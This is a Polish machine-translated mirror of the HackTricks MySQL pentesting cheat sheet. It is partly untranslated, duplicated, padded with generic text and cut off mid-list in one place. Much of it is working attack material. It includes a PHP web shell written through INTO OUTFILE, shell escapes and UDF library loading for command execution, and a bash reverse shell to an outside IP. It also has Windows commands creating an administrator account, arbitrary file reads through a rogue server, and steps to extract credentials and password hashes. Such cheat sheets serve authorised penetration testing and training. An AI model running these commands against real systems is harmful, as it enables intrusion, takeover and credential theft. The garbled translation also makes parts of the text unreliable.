Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-13 06:42:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-mysql.md
Translator workflow 5e0daf0e23 Translated to Polish
2024-02-11 01:46:25 +00:00

37 KiB
Raw Blame History

3306 - Testowanie penetracyjne MySQL

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

{% embed url="https://www.rootedcon.com/" %}

Podstawowe informacje

MySQL można opisać jako otwarty, darmowy System Zarządzania Bazą Danych Relacyjnych (RDBMS). Działa na Structured Query Language (SQL), umożliwiając zarządzanie i manipulację bazami danych.

Domyślny port: 3306

3306/tcp open  mysql

To connect to a local MySQL server, you can use the following command:

mysql -u <username> -p

Replace <username> with the username you want to use to connect to the server. You will be prompted to enter the password for the user.

Remote

To connect to a remote MySQL server, you can use the following command:

mysql -h <hostname> -P <port> -u <username> -p

Replace <hostname> with the IP address or hostname of the remote server, <port> with the port number on which the MySQL server is running (default is 3306), <username> with the username you want to use to connect, and you will be prompted to enter the password for the user.

Enumerate

Version

To determine the version of the MySQL server, you can use the following command:

SELECT @@version;

This will return the version number of the MySQL server.

Databases

To list all the databases on the MySQL server, you can use the following command:

SHOW DATABASES;

This will display a list of all the databases.

Tables

To list all the tables in a specific database, you can use the following command:

USE <database_name>;
SHOW TABLES;

Replace <database_name> with the name of the database you want to enumerate.

Columns

To list all the columns in a specific table, you can use the following command:

USE <database_name>;
SHOW COLUMNS FROM <table_name>;

Replace <database_name> with the name of the database and <table_name> with the name of the table you want to enumerate.

Data

To retrieve data from a specific table, you can use the following command:

USE <database_name>;
SELECT * FROM <table_name>;

Replace <database_name> with the name of the database and <table_name> with the name of the table from which you want to retrieve data.

Exploit

SQL Injection

To exploit a SQL injection vulnerability in a web application, you can try injecting malicious SQL queries into input fields or parameters. The goal is to manipulate the SQL query being executed by the application and retrieve sensitive information or perform unauthorized actions.

Some common SQL injection techniques include:

  • Union-based SQL injection
  • Error-based SQL injection
  • Blind SQL injection

Privilege Escalation

If you have limited privileges on the MySQL server, you can try to escalate your privileges to gain administrative access. This can be done by exploiting vulnerabilities in the MySQL server or by leveraging misconfigurations or weak permissions.

Some common privilege escalation techniques include:

  • Exploiting weak user credentials
  • Exploiting vulnerabilities in the MySQL server version
  • Exploiting misconfigurations or weak permissions

Post-Exploitation

Once you have gained access to the MySQL server, you can perform various post-exploitation activities, such as:

  • Dumping the contents of databases or specific tables
  • Modifying or deleting data in the database
  • Creating new database users or modifying existing ones
  • Executing operating system commands on the server

Countermeasures

To protect against MySQL server vulnerabilities and attacks, you can implement the following countermeasures:

  • Keep the MySQL server up to date with the latest security patches
  • Use strong and unique passwords for MySQL user accounts
  • Implement proper input validation and sanitization in web applications to prevent SQL injection attacks
  • Restrict access to the MySQL server to trusted IP addresses or networks
  • Regularly monitor and review MySQL server logs for suspicious activities
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Zdalne

MySQL can be accessed remotely through the network. This allows clients to connect to the MySQL server from a different machine. However, remote access should be carefully configured to ensure security.

MySQL może być zdalnie dostępny przez sieć. Pozwala to klientom na połączenie się z serwerem MySQL z innego komputera. Jednak zdalny dostęp powinien być starannie skonfigurowany, aby zapewnić bezpieczeństwo.

Default Port

By default, MySQL listens on port 3306 for incoming connections. This port should be open in the firewall to allow remote access.

Domyślnie MySQL nasłuchuje na porcie 3306 dla przychodzących połączeń. Ten port powinien być otwarty w firewallu, aby umożliwić zdalny dostęp.

User Authentication

MySQL uses a username and password for authentication. It is important to use strong and unique passwords for MySQL accounts to prevent unauthorized access.

MySQL używa nazwy użytkownika i hasła do uwierzytelniania. Ważne jest, aby używać silnych i unikalnych haseł dla kont MySQL, aby zapobiec nieautoryzowanemu dostępowi.

Network Encryption

To secure the communication between the client and the MySQL server, it is recommended to use SSL/TLS encryption. This ensures that the data transmitted over the network is encrypted and cannot be intercepted.

Aby zabezpieczyć komunikację między klientem a serwerem MySQL, zaleca się korzystanie z szyfrowania SSL/TLS. Zapewnia to, że dane przesyłane przez sieć są zaszyfrowane i nie mogą być przechwycone.

Firewall Configuration

To restrict access to the MySQL server, it is important to configure the firewall to only allow connections from trusted IP addresses. This helps prevent unauthorized access from malicious actors.

Aby ograniczyć dostęp do serwera MySQL, ważne jest skonfigurowanie firewalla tak, aby zezwalał tylko na połączenia z zaufanych adresów IP. Pomaga to zapobiec nieautoryzowanemu dostępowi ze strony złośliwych użytkowników.

Brute-Force Attacks

MySQL is vulnerable to brute-force attacks, where an attacker tries multiple username and password combinations to gain access. To prevent this, it is recommended to implement account lockouts and rate limiting to block repeated login attempts.

MySQL jest podatny na ataki brute-force, w których atakujący próbuje wielu kombinacji nazwy użytkownika i hasła, aby uzyskać dostęp. Aby temu zapobiec, zaleca się wprowadzenie blokady konta i ograniczenia liczby prób logowania w celu zablokowania powtarzających się prób logowania.

SQL Injection

SQL injection is a common vulnerability in web applications that use MySQL as the backend database. It allows an attacker to manipulate the SQL queries executed by the application, potentially gaining unauthorized access to the database. To prevent SQL injection, it is important to use prepared statements or parameterized queries.

SQL injection to powszechna podatność w aplikacjach internetowych, które korzystają z MySQL jako bazy danych backendowej. Pozwala to atakującemu manipulować zapytaniami SQL wykonywanymi przez aplikację, co potencjalnie umożliwia nieautoryzowany dostęp do bazy danych. Aby zapobiec SQL injection, ważne jest korzystanie z przygotowanych instrukcji lub zapytań z parametrami.

Privilege Escalation

If an attacker gains access to a MySQL account with limited privileges, they may attempt to escalate their privileges to gain more control over the database. It is important to regularly review and update the privileges assigned to MySQL accounts to prevent privilege escalation.

Jeśli atakujący uzyska dostęp do konta MySQL o ograniczonych uprawnieniach, może próbować podnieść swoje uprawnienia, aby uzyskać większą kontrolę nad bazą danych. Ważne jest regularne przeglądanie i aktualizowanie przydzielonych uprawnień dla kont MySQL w celu zapobiegania eskalacji uprawnień.

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

Zewnętrzne wyliczanie

Niektóre z działań wyliczających wymagają poprawnych poświadczeń.

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Atak siłowy

Zapisz dowolne dane binarne

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

Polecenia MySQL

MySQL to popularny system zarządzania bazą danych, który oferuje wiele przydatnych poleceń do zarządzania i manipulowania danymi. Poniżej przedstawiam kilka najważniejszych poleceń MySQL, które warto znać:

1. Polecenie SELECT

Polecenie SELECT służy do pobierania danych z tabeli. Przykład użycia:

SELECT * FROM tabela;

2. Polecenie INSERT

Polecenie INSERT służy do dodawania nowych rekordów do tabeli. Przykład użycia:

INSERT INTO tabela (kolumna1, kolumna2) VALUES (wartość1, wartość2);

3. Polecenie UPDATE

Polecenie UPDATE służy do aktualizacji istniejących rekordów w tabeli. Przykład użycia:

UPDATE tabela SET kolumna = nowa_wartość WHERE warunek;

4. Polecenie DELETE

Polecenie DELETE służy do usuwania rekordów z tabeli. Przykład użycia:

DELETE FROM tabela WHERE warunek;

5. Polecenie CREATE

Polecenie CREATE służy do tworzenia nowej tabeli. Przykład użycia:

CREATE TABLE tabela (kolumna1 typ1, kolumna2 typ2, ...);

6. Polecenie DROP

Polecenie DROP służy do usuwania istniejącej tabeli. Przykład użycia:

DROP TABLE tabela;

7. Polecenie ALTER

Polecenie ALTER służy do modyfikowania struktury tabeli. Przykład użycia:

ALTER TABLE tabela ADD kolumna typ;

8. Polecenie GRANT

Polecenie GRANT służy do nadawania uprawnień użytkownikom. Przykład użycia:

GRANT uprawnienia ON tabela TO użytkownik;

9. Polecenie REVOKE

Polecenie REVOKE służy do usuwania uprawnień użytkownikom. Przykład użycia:

REVOKE uprawnienia ON tabela FROM użytkownik;

10. Polecenie SHOW

Polecenie SHOW służy do wyświetlania informacji o bazie danych lub tabelach. Przykład użycia:

SHOW DATABASES;
SHOW TABLES;

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

Wyliczanie uprawnień MySQL

MySQL jest popularnym systemem zarządzania bazą danych, który jest szeroko stosowany w aplikacjach internetowych. Podczas testowania penetracyjnego aplikacji internetowych, ważne jest zrozumienie uprawnień użytkowników MySQL, aby znaleźć potencjalne luki w zabezpieczeniach. Poniżej przedstawiono kilka technik, które można zastosować do wyliczenia uprawnień MySQL.

1. Wyświetlanie uprawnień użytkownika

Aby wyświetlić uprawnienia użytkownika MySQL, można użyć polecenia SHOW GRANTS FOR user;, gdzie user to nazwa użytkownika, którego uprawnienia chcemy sprawdzić. Ten polecenie wyświetli listę uprawnień przypisanych do danego użytkownika.

2. Wyświetlanie wszystkich uprawnień

Aby wyświetlić wszystkie uprawnienia w systemie MySQL, można użyć polecenia SHOW GRANTS;. Ten polecenie wyświetli listę wszystkich uprawnień przypisanych do wszystkich użytkowników w systemie.

3. Wyświetlanie uprawnień dla wszystkich użytkowników

Aby wyświetlić uprawnienia dla wszystkich użytkowników w systemie MySQL, można użyć polecenia SELECT user, host, authentication_string FROM mysql.user;. Ten polecenie wyświetli listę użytkowników wraz z ich uprawnieniami.

4. Wyświetlanie uprawnień dla bazy danych

Aby wyświetlić uprawnienia dla konkretnej bazy danych, można użyć polecenia SHOW GRANTS FOR user ON database;, gdzie user to nazwa użytkownika, a database to nazwa bazy danych. Ten polecenie wyświetli listę uprawnień przypisanych do danego użytkownika dla konkretnej bazy danych.

5. Wyświetlanie uprawnień dla tabeli

Aby wyświetlić uprawnienia dla konkretnej tabeli w bazie danych, można użyć polecenia SHOW GRANTS FOR user ON database.table;, gdzie user to nazwa użytkownika, database to nazwa bazy danych, a table to nazwa tabeli. Ten polecenie wyświetli listę uprawnień przypisanych do danego użytkownika dla konkretnej tabeli.

Wyliczanie uprawnień MySQL jest ważnym krokiem w procesie testowania penetracyjnego aplikacji internetowych. Pozwala to zidentyfikować potencjalne luki w zabezpieczeniach i podjąć odpowiednie działania w celu ich naprawy.

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

Możesz zobaczyć w dokumentacji znaczenie każdego uprawnienia: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

MySQL dowolne odczytywanie plików przez klienta

W rzeczywistości, kiedy próbujesz załadować dane lokalnie do tabeli, zawartość pliku serwer MySQL lub MariaDB prosi klienta o odczytanie go i przesłanie zawartości. Jeśli więc możesz przerobić klienta MySQL, aby połączył się z twoim własnym serwerem MySQL, możesz odczytywać dowolne pliki.
Proszę zauważyć, że jest to zachowanie przy użyciu:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Pamiętaj o słowie "local")
Ponieważ bez słowa "local" możesz otrzymać:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Początkowy PoC: https://github.com/allyshka/Rogue-MySql-Server
W tym artykule można znaleźć kompletny opis ataku oraz jak go rozszerzyć do zdalnego wykonania kodu: https://paper.seebug.org/1113/
Tutaj można znaleźć przegląd ataku: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

​

​​RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając misję promowania wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

{% embed url="https://www.rootedcon.com/" %}

POST

Użytkownik Mysql

Bardzo interesujące będzie, jeśli mysql działa jako root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

Niebezpieczne ustawienia mysqld.cnf

W konfiguracji usług MySQL używane są różne ustawienia do określenia sposobu działania i zabezpieczeń:

  • Ustawienie user jest używane do określenia użytkownika, na którym będzie uruchamiana usługa MySQL.
  • password jest stosowane do ustanowienia hasła powiązanego z użytkownikiem MySQL.
  • admin_address określa adres IP, na którym nasłuchuje połączeń TCP/IP na interfejsie administracyjnym.
  • Zmienna debug wskazuje na obecne konfiguracje debugowania, w tym na wrażliwe informacje w dziennikach.
  • sql_warnings zarządza generowaniem ciągów informacyjnych dla instrukcji INSERT dla pojedynczych wierszy, gdy pojawiają się ostrzeżenia, zawierające wrażliwe dane w dziennikach.
  • Za pomocą secure_file_priv ogranicza się zakres operacji importu i eksportu danych w celu zwiększenia bezpieczeństwa.

Eskalacja uprawnień

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Eskalacja uprawnień za pomocą biblioteki

Jeśli serwer mysql działa jako root (lub inny bardziej uprzywilejowany użytkownik), możesz go zmusić do wykonania poleceń. W tym celu musisz użyć zdefiniowanych przez użytkownika funkcji. Aby utworzyć zdefiniowaną przez użytkownika funkcję, będziesz potrzebować biblioteki dla systemu operacyjnego, na którym działa mysql.

Złośliwą bibliotekę można znaleźć wewnątrz sqlmap i metasploita, wykonując polecenie locate "*lib_mysqludf_sys*". Pliki .so to biblioteki Linuxa, a pliki .dll to biblioteki Windowsa, wybierz odpowiednią dla swojego systemu.

Jeśli nie masz tych bibliotek, możesz albo poszukać ich, albo pobrać ten kod źródłowy w języku C dla Linuxa i skompilować go wewnątrz podatnej maszyny Linux:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

Teraz, gdy masz bibliotekę, zaloguj się do Mysql jako uprzywilejowany użytkownik (root?) i postępuj zgodnie z następującymi krokami:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

MySQL Service Enumeration

MySQL is a popular open-source relational database management system. It is commonly used in web applications to store and retrieve data. In a Windows environment, MySQL can be installed as a service.

To enumerate MySQL services on a Windows machine, you can use the following methods:

  1. Service Command: Use the sc command to list all services and filter for those with "mysql" in the name.

    sc query | findstr /i mysql

  2. Tasklist Command: Use the tasklist command to list all running processes and filter for those with "mysqld" in the name.

    tasklist /fi "imagename eq mysqld*"

  3. Registry: Check the Windows registry for MySQL service entries.

    reg query HKLM\SYSTEM\CurrentControlSet\Services /s /f "mysql"
MySQL Service Exploitation

Once you have identified the MySQL service, you can proceed with exploiting it. Here are some common techniques:

  1. Default Credentials: Try using default credentials such as "root" with no password or "admin" with no password.

  2. Brute-Force Attack: Use a tool like Hydra or Medusa to perform a brute-force attack against the MySQL service.

  3. SQL Injection: Look for SQL injection vulnerabilities in the web application that interacts with the MySQL database.

  4. Privilege Escalation: If you have access to a low-privileged MySQL user, try to escalate privileges by exploiting vulnerabilities or misconfigurations.

  5. File Upload: Exploit file upload functionality in the web application to upload a malicious file that can be executed on the server.

Remember to always obtain proper authorization before attempting any exploitation. Unauthorized access to computer systems is illegal and unethical.

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Wyodrębnianie danych logowania MySQL z plików

Wewnątrz /etc/mysql/debian.cnf można znaleźć hasło w postaci zwykłego tekstu użytkownika debian-sys-maint.

cat /etc/mysql/debian.cnf

Możesz użyć tych danych logowania do zalogowania się do bazy danych MySQL.

Wewnątrz pliku: /var/lib/mysql/mysql/user.MYD znajdują się wszystkie hashe użytkowników MySQL (te, które można wyodrębnić z mysql.user wewnątrz bazy danych).

Możesz je wyodrębnić wykonując:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

Włączanie logowania

Możesz włączyć logowanie zapytań MySQL w pliku /etc/mysql/my.cnf, odkomentowując następujące linie:

Przydatne pliki

Pliki konfiguracyjne

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • Historia poleceń
  • ~/.mysql.history
  • Pliki dziennika
  • connections.log
  • update.log
  • common.log

Domyślne bazy danych/tabele MySQL

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory

Tabele MySQL

Tabele systemowe

  • schema_table_statistics
  • schema_table_statistics_with_buffer
  • schema_tables_with_full_table_scans
  • schema_unused_indexes
  • session
  • session_ssl_status
  • statement_analysis
  • statements_with_errors_or_warnings
  • statements_with_full_table_scans
  • statements_with_runtimes_in_95th_percentile
  • statements_with_sorting
  • statements_with_temp_tables
  • sys_config
  • user_summary
  • user_summary_by_file_io
  • user_summary_by_file_io_type
  • user_summary_by_stages
  • user_summary_by_statement_latency
  • user_summary_by_statement_type
  • version
  • wait_classes_global_by_avg_latency
  • wait_classes_global_by_latency
  • waits_by_host_by_latency
  • waits_by_user_by_latency
  • waits_global_by_latency
  • x$host_summary
  • x$host_summary_by_file_io
  • x$host_summary_by_file_io_type
  • x$host_summary_by_stages
  • x$host_summary_by_statement_latency
  • x$host_summary_by_statement_type
  • x$innodb_buffer_stats_by_schema
  • x$innodb_buffer_stats_by_table
  • x$innodb_lock_waits
  • x$io_by_thread_by_latency
  • x$io_global_by_file_by_bytes
  • x$io_global_by_file_by_latency
  • x$io_global_by_wait_by_bytes
  • x$io_global_by_wait_by_latency
  • x$latest_file_io
  • x$memory_by_host_by_current_bytes
  • x$memory_by_thread_by_current_bytes
  • x$memory_by_user_by_current_bytes
  • x$memory_global_by_current_bytes
  • x$memory_global_total
  • x$processlist
  • x$ps_digest_95th_percentile_by_avg_us
  • x$ps_digest_avg_latency_distribution
  • x$ps_schema_table_statistics_io
  • x$schema_flattened_keys
  • x$schema_index_statistics
  • x$schema_table_lock_waits
  • x$schema_table_statistics
  • x$schema_table_statistics_with_buffer
  • x$schema_tables_with_full_table_scans
  • x$session
  • x$statement_analysis
  • x$statements_with_errors_or_warnings
  • x$statements_with_full_table_scans
  • x$statements_with_runtimes_in_95th_percentile
  • x$statements_with_sorting
  • x$statements_with_temp_tables
  • x$user_summary
  • x$user_summary_by_file_io
  • x$user_summary_by_file_io_type
  • x$user_summary_by_stages
  • x$user_summary_by_statement_latency
  • x$user_summary_by_statement_type
  • x$wait_classes_global_by_avg_latency
  • x$wait_classes_global_by_latency
  • x$waits_by_host_by_latency
  • x$waits_by_user_by_latency
  • x$waits_global_by_latency
Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

RootedCON to najważniejsze wydarzenie związane z cyberbezpieczeństwem w Hiszpanii i jedno z najważniejszych w Europie. Mając na celu promowanie wiedzy technicznej, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.

{% embed url="https://www.rootedcon.com/" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: